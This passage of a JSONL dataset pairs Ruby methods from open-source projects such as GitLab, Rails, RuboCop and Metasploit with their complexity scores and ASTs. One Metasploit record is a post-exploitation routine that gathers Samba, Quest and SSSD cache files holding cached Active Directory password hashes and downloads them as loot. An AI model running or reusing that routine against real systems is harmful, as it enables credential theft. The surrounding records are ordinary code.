rgs\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"foo\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"queue\"]},{\"type\":\"str\",\"children\":[\"default\"]}]}]}]}]}]}]}","id":"9eafffd3-b831-4931-8ff9-48c94cb5b83f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/api/validations/validators/untrusted_regexp.rb","start_line":7,"raw_source":"def validate_param!(attr_name, params)\n          value = params[attr_name]\n          return unless value\n\n          Gitlab::UntrustedRegexp.new(value)\n        rescue RegexpError => e\n          message = \"is an invalid regexp: #{e.message}\"\n          raise Grape::Exceptions::Validation.new(params: [@scope.full_name(attr_name)], message: message)\n        end","complexity_score":13.0,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_param!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attr_name\"]},{\"type\":\"arg\",\"children\":[\"params\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"value\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"attr_name\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"UntrustedRegexp\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"value\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RegexpError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"message\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"is an invalid regexp: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Grape\"]},\"Exceptions\"]},\"Validation\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"params\"]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@scope\"]},\"full_name\",{\"type\":\"lvar\",\"children\":[\"attr_name\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"lvar\",\"children\":[\"message\"]}]}]}]}]}]}]},null]}]}","id":"7acf3756-a991-4dab-92b3-074b958f1692"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/order.rb","start_line":816,"raw_source":"def promo_code\n      Spree::CouponCode.find_by(order: self, promotion: promotions).try(:code) || promotions.pluck(:code).compact.first\n    end","complexity_score":10.5,"ast_json":"{\"type\":\"def\",\"children\":[\"promo_code\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"CouponCode\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"order\"]},{\"type\":\"self\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"promotion\"]},{\"type\":\"send\",\"children\":[null,\"promotions\"]}]}]}]},\"try\",{\"type\":\"sym\",\"children\":[\"code\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"promotions\"]},\"pluck\",{\"type\":\"sym\",\"children\":[\"code\"]}]},\"compact\"]},\"first\"]}]}]}","id":"626e9734-1438-48b4-8a20-20052e3da390"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/connection_adapters/abstract/transaction.rb","start_line":499,"raw_source":"def rollback\n        if materialized?\n          connection.rollback_db_transaction\n          connection.reset_isolation_level if isolation_level\n        end\n        @state.full_rollback!\n        @instrumenter.finish(:rollback) if materialized?\n      end","complexity_score":13.9,"ast_json":"{\"type\":\"def\",\"children\":[\"rollback\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"materialized?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connection\"]},\"rollback_db_transaction\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"isolation_level\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connection\"]},\"reset_isolation_level\"]},null]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@state\"]},\"full_rollback!\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"materialized?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@instrumenter\"]},\"finish\",{\"type\":\"sym\",\"children\":[\"rollback\"]}]},null]}]}]}","id":"b0aaea3a-8524-4d15-924a-0dc09039ef33"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/empty_method.rb","start_line":54,"raw_source":"def on_def(node)\n          return if node.body || processed_source.contains_comment?(node.source_range)\n          return if correct_style?(node)\n\n          add_offense(node) do |corrector|\n            correction = corrected(node)\n            next if compact_style? && max_line_length && correction.size > max_line_length\n\n            corrector.replace(node, correction)\n          end\n        end","complexity_score":25.4,"ast_json":"{\"type\":\"def\",\"children\":[\"on_def\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"body\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"processed_source\"]},\"contains_comment?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"source_range\"]}]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"correct_style?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_offense\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"corrector\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"correction\",{\"type\":\"send\",\"children\":[null,\"corrected\",{\"type\":\"lvar\",\"children\":[\"node\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"compact_style?\"]},{\"type\":\"send\",\"children\":[null,\"max_line_length\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"correction\"]},\"size\"]},\">\",{\"type\":\"send\",\"children\":[null,\"max_line_length\"]}]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"corrector\"]},\"replace\",{\"type\":\"lvar\",\"children\":[\"node\"]},{\"type\":\"lvar\",\"children\":[\"correction\"]}]}]}]}]}]}","id":"acf27afe-2a09-4267-b39b-d2fd178e4604"}
{"repo_name":"rspec-core","file_path":"./repos/rspec-core/lib/rspec/core/bisect/shell_command.rb","start_line":106,"raw_source":"def parsed_original_cli_options\n          @parsed_original_cli_options ||= Parser.parse(@original_cli_args)\n        end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"parsed_original_cli_options\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@parsed_original_cli_options\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Parser\"]},\"parse\",{\"type\":\"ivar\",\"children\":[\"@original_cli_args\"]}]}]}]}","id":"27a82eaf-bda5-4647-9b23-551487bfa9aa"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/ntlm/message.rb","start_line":157,"raw_source":"def parse(str)\n      super(str)\n      enable(:domain) if has_flag?(:DOMAIN_SUPPLIED)\n      enable(:workstation) if has_flag?(:WORKSTATION_SUPPLIED)\n      super(str)\n      if ( (len = data_edge - head_size) > 0)\n        self.padding = \"\\0\" * len\n        super(str)\n      end\n    end","complexity_score":19.0,"ast_json":"{\"type\":\"def\",\"children\":[\"parse\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"str\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"lvar\",\"children\":[\"str\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"has_flag?\",{\"type\":\"sym\",\"children\":[\"DOMAIN_SUPPLIED\"]}]},{\"type\":\"send\",\"children\":[null,\"enable\",{\"type\":\"sym\",\"children\":[\"domain\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"has_flag?\",{\"type\":\"sym\",\"children\":[\"WORKSTATION_SUPPLIED\"]}]},{\"type\":\"send\",\"children\":[null,\"enable\",{\"type\":\"sym\",\"children\":[\"workstation\"]}]},null]},{\"type\":\"super\",\"children\":[{\"type\":\"lvar\",\"children\":[\"str\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"len\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"data_edge\"]},\"-\",{\"type\":\"send\",\"children\":[null,\"head_size\"]}]}]}]},\">\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"padding=\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"\\u0000\"]},\"*\",{\"type\":\"lvar\",\"children\":[\"len\"]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"lvar\",\"children\":[\"str\"]}]}]},null]}]}]}","id":"ce0df676-8ec5-4032-9261-cd7f97b52aa3"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/tools/dev/msftidy_docs.rb","start_line":84,"raw_source":"def fixed(txt, line=0)\n    line_msg = (line>0) ? \":#{line}\" : ''\n    puts \"#{@full_filepath}#{line_msg} - [#{'FIXED'.green}] #{cleanup_text(txt)}\"\n  end","complexity_score":7.4,"ast_json":"{\"type\":\"def\",\"children\":[\"fixed\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"txt\"]},{\"type\":\"optarg\",\"children\":[\"line\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"line_msg\",{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line\"]},\">\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line\"]}]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@full_filepath\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line_msg\"]}]},{\"type\":\"str\",\"children\":[\" - [\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"FIXED\"]},\"green\"]}]},{\"type\":\"str\",\"children\":[\"] \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cleanup_text\",{\"type\":\"lvar\",\"children\":[\"txt\"]}]}]}]}]}]}]}","id":"048a77e1-cc2a-4e0c-b985-95cfe7449374"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/chat/app/models/chat/message.rb","start_line":323,"raw_source":"def parsed_mentions\n      @parsed_mentions ||= Chat::ParsedMentions.new(self)\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"parsed_mentions\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@parsed_mentions\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Chat\"]},\"ParsedMentions\"]},\"new\",{\"type\":\"self\",\"children\":[]}]}]}]}","id":"8a2faa05-ec62-4e58-bd9b-b90e0bb93095"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/metasploit/framework/password_crackers/wordlist.rb","start_line":409,"raw_source":"def default_wordlist_path\n          ::File.join(Msf::Config.data_directory, 'wordlists', 'password.lst')\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"default_wordlist_path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"File\"]},\"join\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Config\"]},\"data_directory\"]},{\"type\":\"str\",\"children\":[\"wordlists\"]},{\"type\":\"str\",\"children\":[\"password.lst\"]}]}]}","id":"ac41784b-b80e-4ae3-80f7-89c55666bb16"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/workers/auto_merge_process_worker.rb","start_line":19,"raw_source":"def perform(params = {})\n    # Passing an integer id to AutoMergeProcessWorker is deprecated.\n    # This is here to support existing implementations while we transition\n    # to a params hash. https://gitlab.com/gitlab-org/gitlab/-/issues/497247\n    params = { 'merge_request_id' => params } unless params.is_a?(Hash)\n\n    merge_requests = params['merge_request_id'].try do |mr_id|\n      MergeRequest.id_in(mr_id)\n    end\n\n    pipeline_merge_requests = params['pipeline_id'].try do |pipe_id|\n      Ci::Pipeline.id_in(pipe_id).flat_map do |pipeline|\n        pipeline.all_merge_requests.with_auto_merge_enabled\n      end\n    end\n\n    project_merge_requests = params['project_id'].try do |proj_id|\n      project = Project.id_in(proj_id).first\n\n      break [] unless project\n      break [] unless Feature.enabled?(:merge_request_title_regex, project)\n\n      project.merge_requests&.with_auto_merge_enabled&.take(PROJECT_MR_LIMIT)\n    end\n\n    all_merge_requests = (merge_requests.to_a + pipeline_merge_requests.to_a + project_merge_requests.to_a).uniq\n\n    all_merge_requests.each do |merge_request|\n      AutoMergeService.new(merge_request.project, merge_request.merge_user).process(merge_request)\n    end\n  end","complexity_score":52.4,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"params\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Hash\"]}]},null,{\"type\":\"lvasgn\",\"children\":[\"params\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"merge_request_id\"]},{\"type\":\"lvar\",\"children\":[\"params\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"merge_requests\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"str\",\"children\":[\"merge_request_id\"]}]},\"try\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"mr_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MergeRequest\"]},\"id_in\",{\"type\":\"lvar\",\"children\":[\"mr_id\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"pipeline_merge_requests\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"str\",\"children\":[\"pipeline_id\"]}]},\"try\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"pipe_id\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Ci\"]},\"Pipeline\"]},\"id_in\",{\"type\":\"lvar\",\"children\":[\"pipe_id\"]}]},\"flat_map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"pipeline\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pipeline\"]},\"all_merge_requests\"]},\"with_auto_merge_enabled\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"project_merge_requests\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"str\",\"children\":[\"project_id\"]}]},\"try\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"proj_id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"project\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Project\"]},\"id_in\",{\"type\":\"lvar\",\"children\":[\"proj_id\"]}]},\"first\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},null,{\"type\":\"break\",\"children\":[{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Feature\"]},\"enabled?\",{\"type\":\"sym\",\"children\":[\"merge_request_title_regex\"]},{\"type\":\"lvar\",\"children\":[\"project\"]}]},null,{\"type\":\"break\",\"children\":[{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"csend\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"merge_requests\"]},\"with_auto_merge_enabled\"]},\"take\",{\"type\":\"const\",\"children\":[null,\"PROJECT_MR_LIMIT\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"all_merge_requests\",{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"merge_requests\"]},\"to_a\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pipeline_merge_requests\"]},\"to_a\"]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project_merge_requests\"]},\"to_a\"]}]}]},\"uniq\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"all_merge_requests\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"merge_request\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AutoMergeService\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"merge_request\"]},\"project\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"merge_request\"]},\"merge_user\"]}]},\"process\",{\"type\":\"lvar\",\"children\":[\"merge_request\"]}]}]}]}]}","id":"eea2c31a-0cb3-4ecd-bf94-775d39d431e4"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/feature_flag_helpers.rb","start_line":51,"raw_source":"def within_strategy_row(index)\n    within \".feature-flags-form > fieldset > div[data-testid='feature-flag-strategies'] > div:nth-child(#{index})\" do\n      yield\n    end\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"within_strategy_row\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"index\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"within\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\".feature-flags-form > fieldset > div[data-testid='feature-flag-strategies'] > div:nth-child(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"index\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"yield\",\"children\":[]}]}]}","id":"4e85501a-d8e7-4360-ad69-9cf506fc527e"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/mixin/hash_transform_method.rb","start_line":23,"raw_source":"def use_transformed_argname?\n          transforming_body_expr.each_descendant(:lvar).any? do |node|\n            node.source == transformed_argname.to_s\n          end\n        end","complexity_score":9.8,"ast_json":"{\"type\":\"def\",\"children\":[\"use_transformed_argname?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"transforming_body_expr\"]},\"each_descendant\",{\"type\":\"sym\",\"children\":[\"lvar\"]}]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"source\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"transformed_argname\"]},\"to_s\"]}]}]}]}","id":"a4501735-1fb3-40fc-856a-2c7f2f07231e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/project_search_results.rb","start_line":97,"raw_source":"def paginated_wiki_blobs(blobs, page, per_page)\n      blob_array = paginated_blobs(blobs, page, per_page)\n      blob_array.map! do |blob|\n        Gitlab::Search::FoundWikiPage.new(blob)\n      end\n    end","complexity_score":5.1,"ast_json":"{\"type\":\"def\",\"children\":[\"paginated_wiki_blobs\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"blobs\"]},{\"type\":\"arg\",\"children\":[\"page\"]},{\"type\":\"arg\",\"children\":[\"per_page\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"blob_array\",{\"type\":\"send\",\"children\":[null,\"paginated_blobs\",{\"type\":\"lvar\",\"children\":[\"blobs\"]},{\"type\":\"lvar\",\"children\":[\"page\"]},{\"type\":\"lvar\",\"children\":[\"per_page\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"blob_array\"]},\"map!\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"blob\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Search\"]},\"FoundWikiPage\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"blob\"]}]}]}]}]}","id":"902b2236-63b8-46a7-8108-5d1d1f5782e9"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/multi/gather/unix_cached_ad_hashes.rb","start_line":53,"raw_source":"def run\n    fail_with(Msf::Module::Failure::NoAccess, 'Must be running as root') unless is_root?\n    print_status('Finding files')\n    files = [ '/var/lib/samba/private/secrets.tdb', '/var/lib/samba/passdb.tdb', '/var/opt/quest/vas/authcache/vas_auth.vdb' ]\n    files += cmd_exec('ls /var/lib/sss/db/cache_*').split(/\\r\\n|\\r|\\n/)\n    files = files.select { |d| file?(d) }\n    if files.nil? || files.empty?\n      print_error('No cached AD hashes found')\n      return\n    end\n    download_loot(files)\n  end","complexity_score":20.2,"ast_json":"{\"type\":\"def\",\"children\":[\"run\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"is_root?\"]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Module\"]},\"Failure\"]},\"NoAccess\"]},{\"type\":\"str\",\"children\":[\"Must be running as root\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Finding files\"]}]},{\"type\":\"lvasgn\",\"children\":[\"files\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"/var/lib/samba/private/secrets.tdb\"]},{\"type\":\"str\",\"children\":[\"/var/lib/samba/passdb.tdb\"]},{\"type\":\"str\",\"children\":[\"/var/opt/quest/vas/authcache/vas_auth.vdb\"]}]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"files\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cmd_exec\",{\"type\":\"str\",\"children\":[\"ls /var/lib/sss/db/cache_*\"]}]},\"split\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\r\\\\n|\\\\r|\\\\n\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"files\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"files\"]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"d\"]}]},{\"type\":\"send\",\"children\":[null,\"file?\",{\"type\":\"lvar\",\"children\":[\"d\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"files\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"files\"]},\"empty?\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"No cached AD hashes found\"]}]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[null,\"download_loot\",{\"type\":\"lvar\",\"children\":[\"files\"]}]}]}]}","id":"b5413a20-99ca-43e6-b026-2c10c6804dfa"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/sidekiq_middleware/throttling/tracker.rb","start_line":43,"raw_source":"def currently_throttled?\n          self.class.with_redis do |redis|\n            redis.exists?(cache_key(worker_name, period_key)) # rubocop:disable CodeReuse/ActiveRecord -- not ActiveRecord model\n          end\n        end","complexity_score":8.6,"ast_json":"{\"type\":\"def\",\"children\":[\"currently_throttled?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"with_redis\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"redis\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"redis\"]},\"exists?\",{\"type\":\"send\",\"children\":[null,\"cache_key\",{\"type\":\"send\",\"children\":[null,\"worker_name\"]},{\"type\":\"send\",\"children\":[null,\"period_key\"]}]}]}]}]}","id":"3a6b75d7-378f-42b7-b7b8-8eec4933c7e8"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/http_token_authentication_test.rb","start_line":38,"raw_source":"def authenticate_long_credentials\n        authenticate_or_request_with_http_token do |token, options|\n          token == \"1234567890123456789012345678901234567890\" && options[:algorithm] == \"test\"\n        end\n      end","complexity_score":6.9,"ast_json":"{\"type\":\"def\",\"children\":[\"authenticate_long_credentials\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"authenticate_or_request_with_http_token\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"token\"]},{\"type\":\"arg\",\"children\":[\"options\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"token\"]},\"==\",{\"type\":\"str\",\"children\":[\"1234567890123456789012345678901234567890\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"algorithm\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"test\"]}]}]}]}]}","id":"1967195d-7611-441b-acdd-a62e38be49b9"}
